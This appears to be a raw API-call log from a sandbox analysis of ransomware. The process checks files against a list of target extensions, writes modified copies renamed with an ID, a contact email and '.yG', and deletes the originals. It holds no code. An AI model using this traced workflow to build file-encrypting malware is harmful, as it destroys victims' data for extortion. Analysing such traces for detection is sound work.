	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.770] lstrlenW (lpString=".doc") returned 4
	[0050.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString=".docx") returned 5
	[0050.770] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.770] lstrlenW (lpString=".pdf") returned 4
	[0050.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString=".xls") returned 4
	[0050.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString=".xlsx") returned 5
	[0050.770] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.770] lstrlenW (lpString=".ppt") returned 4
	[0050.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.770] lstrlenW (lpString=".zip") returned 4
	[0050.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.770] lstrlenW (lpString=".rar") returned 4
	[0050.770] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString=".bz2") returned 4
	[0050.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString=".7z") returned 3
	[0050.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.770] lstrlenW (lpString=".dbf") returned 4
	[0050.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.770] lstrlenW (lpString=".1cd") returned 4
	[0050.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104
	[0050.770] lstrlenW (lpString=".jpg") returned 4
	[0050.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.771] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.771] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53
	[0050.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.857] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=9216) returned 1
	[0050.857] CloseHandle (hObject=0x2f4) returned 1
	[0050.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.858] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.859] GetLastError () returned 0x0
	[0050.859] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2400, lpOverlapped=0x0) returned 1
	[0050.877] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2410, lpOverlapped=0x0) returned 1
	[0050.878] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.878] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.878] SetEndOfFile (hFile=0x38c) returned 1
	[0050.878] CloseHandle (hObject=0x38c) returned 1
	[0050.879] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.879] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.879] CloseHandle (hObject=0x2f4) returned 1
	[0050.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.880] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.880] lstrlenW (lpString=".doc") returned 4
	[0050.880] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString=".docx") returned 5
	[0050.880] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.880] lstrlenW (lpString=".pdf") returned 4
	[0050.880] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString=".xls") returned 4
	[0050.880] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString=".xlsx") returned 5
	[0050.880] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.880] lstrlenW (lpString=".ppt") returned 4
	[0050.880] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.880] lstrlenW (lpString=".zip") returned 4
	[0050.880] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.880] lstrlenW (lpString=".rar") returned 4
	[0050.880] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString=".bz2") returned 4
	[0050.880] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.880] lstrlenW (lpString=".7z") returned 3
	[0050.880] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.880] lstrlenW (lpString=".dbf") returned 4
	[0050.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".1cd") returned 4
	[0050.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".jpg") returned 4
	[0050.881] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".doc") returned 4
	[0050.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString=".docx") returned 5
	[0050.881] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.881] lstrlenW (lpString=".pdf") returned 4
	[0050.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString=".xls") returned 4
	[0050.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString=".xlsx") returned 5
	[0050.881] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.881] lstrlenW (lpString=".ppt") returned 4
	[0050.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".zip") returned 4
	[0050.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.881] lstrlenW (lpString=".rar") returned 4
	[0050.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString=".bz2") returned 4
	[0050.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString=".7z") returned 3
	[0050.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".dbf") returned 4
	[0050.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".1cd") returned 4
	[0050.881] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0050.881] lstrlenW (lpString=".jpg") returned 4
	[0050.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.882] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.882] lstrlenW (lpString="AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 53
	[0050.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.882] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=1450) returned 1
	[0050.882] CloseHandle (hObject=0x2f4) returned 1
	[0050.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.882] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.882] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.883] GetLastError () returned 0x0
	[0050.883] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x5aa, lpOverlapped=0x0) returned 1
	[0050.891] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0050.892] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.892] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.892] SetEndOfFile (hFile=0x38c) returned 1
	[0050.892] CloseHandle (hObject=0x38c) returned 1
	[0050.892] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.893] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.893] CloseHandle (hObject=0x2f4) returned 1
	[0050.893] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.894] lstrlenW (lpString=".doc") returned 4
	[0050.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString=".docx") returned 5
	[0050.894] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.894] lstrlenW (lpString=".pdf") returned 4
	[0050.894] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString=".xls") returned 4
	[0050.894] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString=".xlsx") returned 5
	[0050.894] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.894] lstrlenW (lpString=".ppt") returned 4
	[0050.894] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.894] lstrlenW (lpString=".zip") returned 4
	[0050.894] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.894] lstrlenW (lpString=".rar") returned 4
	[0050.894] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString=".bz2") returned 4
	[0050.894] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString=".7z") returned 3
	[0050.894] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.894] lstrlenW (lpString=".dbf") returned 4
	[0050.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".1cd") returned 4
	[0050.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".jpg") returned 4
	[0050.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".doc") returned 4
	[0050.895] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString=".docx") returned 5
	[0050.895] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.895] lstrlenW (lpString=".pdf") returned 4
	[0050.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString=".xls") returned 4
	[0050.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString=".xlsx") returned 5
	[0050.895] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.895] lstrlenW (lpString=".ppt") returned 4
	[0050.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".zip") returned 4
	[0050.895] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.895] lstrlenW (lpString=".rar") returned 4
	[0050.895] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString=".bz2") returned 4
	[0050.895] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString=".7z") returned 3
	[0050.895] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".dbf") returned 4
	[0050.895] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".1cd") returned 4
	[0050.895] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0000-1000-0000000FF1CE.xml") returned 104
	[0050.895] lstrlenW (lpString=".jpg") returned 4
	[0050.895] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.896] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.896] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53
	[0050.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.896] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=3754) returned 1
	[0050.896] CloseHandle (hObject=0x2f4) returned 1
	[0050.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.896] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.896] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.897] GetLastError () returned 0x0
	[0050.897] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xeaa, lpOverlapped=0x0) returned 1
	[0050.916] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0050.917] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.917] WriteFile (in: hFile=0x38c, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.917] SetEndOfFile (hFile=0x38c) returned 1
	[0050.918] CloseHandle (hObject=0x38c) returned 1
	[0050.918] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.918] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.919] CloseHandle (hObject=0x2f4) returned 1
	[0050.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.919] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0050.919] lstrlenW (lpString=".doc") returned 4
	[0050.919] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.919] lstrlenW (lpString=".docx") returned 5
